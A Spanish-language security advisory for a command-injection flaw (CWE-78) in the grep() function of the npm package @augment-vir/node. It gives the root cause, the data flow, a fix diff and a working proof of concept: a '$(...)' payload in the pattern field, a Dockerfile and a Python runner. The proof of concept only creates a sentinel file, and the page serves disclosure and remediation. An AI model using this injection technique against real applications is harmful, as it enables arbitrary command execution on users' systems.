Alta

augment-virShell permite inyección de comandos en `grep()` mediante `searchPattern` no saneado

  • Publicada: 18.11.2026
  • Actualizado: 19.11.2026 10:00

Inyección de comandos de shell en grep() mediante searchPattern no saneado

Resumen

La función grep() exportada por @augment-vir/node inserta patrones de búsqueda controlados por el invocador directamente en una cadena de comando de shell entre comillas dobles sin saneamiento (grep.ts:310). Cuando el comando construido se pasa a spawn() con shell: 'bash' (shell.ts:98-99), bash evalúa las expresiones de sustitución de comandos $() incrustadas en el patrón, lo que da como resultado la ejecución arbitraria de comandos del sistema operativo bajo el usuario del proceso Node.js. Cualquier aplicación downstream que pase entradas no confiables al campo pattern o patterns de grep() es vulnerable a la ejecución de código local (y potencialmente remota) no autenticada. Puntuación base CVSS: 7.8 (Alta).

Detalles

Causa raíz: packages/node/src/augments/fs/grep.ts:310 mapea cada patrón de búsqueda en el fragmento de shell -e "${searchPattern}" sin saneamiento:

ts
// grep.ts:310
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),

La cadena de comando completa resultante se reenvía a runShellCommand (grep.ts:320), que llama a streamShellCommand (shell.ts:221-224), el cual finalmente llama a:

ts
// shell.ts:98-99
const childProcess = spawn(command, {
    shell,   // defaults to 'bash' (shell.ts:92)

Debido a que shell es 'bash', bash interpreta $() dentro del patrón entre comillas dobles como una sustitución de comando y lo ejecuta antes de que grep siquiera se ejecute.

Saneamiento incompleto: Existe un asistente escape() en grep.ts:178-180, pero solo reemplaza " con \" y elimina saltos de línea. Se aplica a excludePatterns, excludeDirs y includeFiles (grep.ts:297-308), pero no a searchPatterns. Incluso si se aplicara, el escape de comillas dobles no evita la sustitución de $() ni mediante comillas invertidas dentro de contextos de comillas dobles de bash.

Flujo de datos (origen → sumidero):

Paso Ubicación Descripción
1 packages/node/src/index.ts:3 export * from './augments/fs/grep.js' — expone grep() como una API pública de npm
2 packages/node/src/augments/fs/grep.ts:223-226 grep() acepta grepSearchPattern y grepSearchLocation controlados por el invocador
3 packages/node/src/augments/fs/grep.ts:228 searchPatterns derivado de grepSearchPattern.patterns || [grepSearchPattern.pattern]
4 packages/node/src/augments/fs/grep.ts:269-314 fullCommand construido como una cadena de shell simple
5 packages/node/src/augments/fs/grep.ts:310 Sumidero: searchPattern insertado como `-e "${searchPattern}"` — no se aplica ningún escape
6 packages/node/src/augments/fs/grep.ts:320 fullCommand pasado a runShellCommand
7 packages/node/src/augments/terminal/shell.ts:221-224 Reenviado a streamShellCommand
8 packages/node/src/augments/terminal/shell.ts:98-99 spawn(command, { shell: 'bash' }) ejecuta la cadena de comando construida

Mitigación sugerida:

diff
--- a/packages/node/src/augments/fs/grep.ts
+++ b/packages/node/src/augments/fs/grep.ts
@@
-function escape(input: string) {
-    return input.replaceAll('"', String.raw`\"`).replaceAll('\n', '');
+function shellQuote(input: string) {
+    return `'${input.replaceAll("'", String.raw`'\''`).replaceAll('\n', '')}'`;
 }
@@
-        ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
+        ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`),
+        '--',
         ...searchParts,

Como alternativa, reemplace el enfoque de cadenas de shell con spawn('grep', args, { shell: false }) para evitar por completo la interpretación de la shell.

PoC

Requisitos previos: Docker instalado en el host. Todos los pasos se ejecutan localmente dentro de un contenedor: sin exposición a la red, sin credenciales reales, sin DoS.

Paso 1 — Crear la imagen de Docker:

bash
docker build -t augment-vir-vuln-001-poc \
  vuln-001

Paso 2 — Ejecutar el contenedor del exploit:

bash
docker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-poc

Exploit central (exploit.mjs dentro del contenedor):

js
import { grep } from '@augment-vir/node';

await grep(
  { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
  { file: 'package.json' },
);

La sustitución de shell $() en el patrón hace que bash ejecute touch /tmp/augment-vir-poc-triggered antes de que grep se ejecute. El archivo centinela se crea incluso si el patrón grep en sí no coincide con nada en package.json.

Salida esperada:

[*] Calling grep() with injected $() command substitution pattern...
[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match

=== VULNERABLE ===
[+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered
[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})

Reproducción mínima sin Docker:

bash
mkdir /tmp/av-grep-poc && cd /tmp/av-grep-poc
npm init -y
npm install @augment-vir/node@31.73.2

cat > poc.mjs <<'EOF'
import { grep } from '@augment-vir/node';
await grep(
  { pattern: '$(touch /tmp/augment-vir-grep-poc)no-match' },
  { file: 'package.json' },
);
EOF

rm -f /tmp/augment-vir-grep-poc
node poc.mjs
test -f /tmp/augment-vir-grep-poc && echo VULNERABLE

Verificación: Tanto el análisis estático de la Fase 1 como la reproducción dinámica de la Fase 2 confirmaron la vulnerabilidad. Se observaron VULNERABLE y COMMAND INJECTION CONFIRMED en stdout; el archivo centinela /tmp/augment-vir-poc-triggered fue creado dentro del contenedor Docker.

Impacto

Esta es una vulnerabilidad de Inyección de comandos de SO (CWE-78). Cualquier aplicación que llame a grep() de @augment-vir/node con entradas controladas por el usuario en el campo pattern o patterns es vulnerable a la ejecución arbitraria de comandos bajo la cuenta de usuario del proceso de Node.js.

  • Confidencialidad — Alta: Un atacante puede leer archivos arbitrarios accesibles para el proceso.
  • Integridad — Alta: Un atacante puede escribir o eliminar archivos, instalar malware o modificar datos de la aplicación.
  • Disponibilidad — Alta: Un atacante puede finalizar procesos o agotar los recursos del sistema.

El vector de ataque se clasifica como Local (el atacante debe controlar el valor pasado a pattern a nivel de API de la biblioteca). En la práctica, la gravedad escala a accesible por red si un servicio web o API asigna cualquier cadena proporcionada por el usuario al parámetro pattern de grep(). No se requiere autenticación ni privilegios especiales; la función se exporta desde el punto de entrada principal del paquete y está habilitada de forma predeterminada.

Artefactos de reproducción

Dockerfile

dockerfile
FROM node:22-slim

# Install grep (required by @augment-vir/node's grep() implementation)
RUN apt-get update -qq && apt-get install -y --no-install-recommends grep && rm -rf /var/lib/apt/lists/*

WORKDIR /poc

# Initialize npm project and install the vulnerable package version
RUN npm init -y && \
    npm install @augment-vir/node@31.73.2 --save 2>&1 | tail -5

# Create the exploit script that demonstrates command injection via grep()
# The pattern '$(touch /tmp/augment-vir-poc-triggered)no-match' is injected
# into the shell command string without sanitization, causing $() substitution
# to execute 'touch /tmp/augment-vir-poc-triggered' under bash.
RUN cat > /poc/exploit.mjs << 'EOF'
import { grep } from '@augment-vir/node';
import { existsSync } from 'node:fs';

const SENTINEL_FILE = '/tmp/augment-vir-poc-triggered';

// Remove sentinel file if it exists from a previous run
import { rmSync } from 'node:fs';
try { rmSync(SENTINEL_FILE); } catch {}

console.log('[*] Calling grep() with injected $() command substitution pattern...');
console.log('[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match');

try {
  await grep(
    { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
    { file: 'package.json' },
  );
} catch (err) {
  // grep() may throw due to no matches — that is expected and irrelevant
  console.log('[*] grep() threw (expected when no matches):', err?.message ?? err);
}

if (existsSync(SENTINEL_FILE)) {
  console.log('');
  console.log('=== VULNERABLE ===');
  console.log('[+] COMMAND INJECTION CONFIRMED: sentinel file exists at', SENTINEL_FILE);
  console.log('[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})');
  process.exit(0);
} else {
  console.log('');
  console.log('=== NOT EXPLOITED ===');
  console.log('[-] Sentinel file was NOT created — injection did not fire.');
  process.exit(1);
}
EOF

CMD ["node", "/poc/exploit.mjs"]

poc.py

python
#!/usr/bin/env python3
"""
PoC for VULN-001: Shell Command Injection in @augment-vir/node grep()
CWE-78 — OS Command Injection
Affected version: @augment-vir/node@31.73.2

Root cause:
  packages/node/src/augments/fs/grep.ts:310 constructs a shell command string
  using unsanitized caller-supplied searchPattern inside double quotes:
    ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`)
  This command string is passed to spawn(command, { shell: 'bash' }), meaning
  $() command substitution in the pattern is executed by bash.

Safe usage: This PoC runs entirely inside a local Docker container.
            No external network attacks, no real credentials, no DoS.
"""

import subprocess
import sys
import os
import json

IMAGE_NAME = "augment-vir-vuln-001-poc"
CONTAINER_NAME = "augment-vir-vuln-001-run"
DOCKERFILE_DIR = os.path.dirname(os.path.abspath(__file__))

BUILD_CMD = f"docker build -t {IMAGE_NAME} {DOCKERFILE_DIR}"
RUN_CMD = f"docker run --rm --name {CONTAINER_NAME} {IMAGE_NAME}"


def run(cmd, **kwargs):
    """Run a shell command and return CompletedProcess."""
    print(f"[cmd] {cmd}")
    return subprocess.run(cmd, shell=True, capture_output=True, text=True, **kwargs)


def main():
    print("=" * 60)
    print("VULN-001 PoC: Shell Command Injection in grep()")
    print("Package: @augment-vir/node@31.73.2")
    print("=" * 60)

    # Step 1: Build Docker image
    print("\n[*] Building Docker image...")
    build_result = run(BUILD_CMD, timeout=300)
    if build_result.returncode != 0:
        print("[!] Docker build FAILED")
        print(build_result.stdout[-2000:] if build_result.stdout else "")
        print(build_result.stderr[-2000:] if build_result.stderr else "")
        write_result(
            passed=False,
            verdict="FAIL",
            reason="Docker 빌드 실패 — npm install 또는 네트워크 오류",
            evidence=build_result.stderr[-1000:],
        )
        sys.exit(1)
    print("[+] Docker image built successfully")

    # Step 2: Run exploit container
    print("\n[*] Running exploit container...")
    run_result = run(RUN_CMD, timeout=120)

    combined_output = run_result.stdout + run_result.stderr
    print(combined_output)

    # Step 3: Evaluate result
    vulnerable = "VULNERABLE" in combined_output and "COMMAND INJECTION CONFIRMED" in combined_output

    if vulnerable:
        print("\n[+] PASS — Command injection confirmed inside Docker container")
        print("[+] The $() substitution in grep() pattern was executed by bash")
        write_result(
            passed=True,
            verdict="PASS",
            reason=(
                "Docker 컨테이너 내에서 grep() 패턴에 포함된 $() 명령 치환이 bash에 의해 실행되었음을 확인. "
                "sentinel 파일 /tmp/augment-vir-poc-triggered가 생성되었으며 stdout에서 'VULNERABLE' 및 "
                "'COMMAND INJECTION CONFIRMED' 문자열이 관측됨."
            ),
            evidence=combined_output.strip()[-1500:],
        )
        sys.exit(0)
    else:
        print("\n[-] FAIL — exploit did not produce expected output")
        write_result(
            passed=False,
            verdict="FAIL",
            reason=(
                "컨테이너 stdout에서 'VULNERABLE' 또는 'COMMAND INJECTION CONFIRMED'가 관측되지 않음. "
                "sentinel 파일이 생성되지 않았거나 grep() 동작이 예상과 다를 수 있음."
            ),
            evidence=combined_output.strip()[-1500:],
        )
        sys.exit(1)


def write_result(passed, verdict, reason, evidence):
    result = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": BUILD_CMD,
        "run_command": RUN_CMD,
        "poc_command": f"python3 {os.path.abspath(__file__)}",
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py"],
    }
    out_path = os.path.join(DOCKERFILE_DIR, "phase2_result.json")
    with open(out_path, "w", encoding="utf-8") as f:
        json.dump(result, f, ensure_ascii=False, indent=2)
    print(f"\n[*] Result written to {out_path}")


if __name__ == "__main__":
    main()

Qué hacer

Actualice @augment-vir/node a la versión 31.73.5 o superior. De forma alternativa, aplique la mitigación sugerida para escapar caracteres de sustitución de comandos (```diff --- a/packages/node/src/augments/fs/grep.ts +++ b/packages/node/src/augments/fs/grep.ts @@ -function escape(input: string) {

  • return input.replaceAll('"', String.raw\").replaceAll('\n', ''); +function shellQuote(input: string) {
  • return '${input.replaceAll("'", String.raw''').replaceAll('\n', '')}'; } @@
  •    ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
  •    ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`),
  •    '--',
       ...searchParts,

```) o reemplace el uso de cadenas de shell por spawn('grep', args, { shell: false }) para evitar la interpretación de la shell por completo.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @augment-vir/node < 31.73.5 31.73.5

Referencias

Puntuación CVSS 7.8/10
Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-78
Plataforma
npm
Paquete
@augment-vir/node
Publicada
18.11.2026
Actualizado
19.11.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-xvcc-vqjv-phqh - CC BY 4.0

Historial de vulnerabilidades: @augment-vir/node

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Esta es la única vulnerabilidad conocida de este paquete.

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.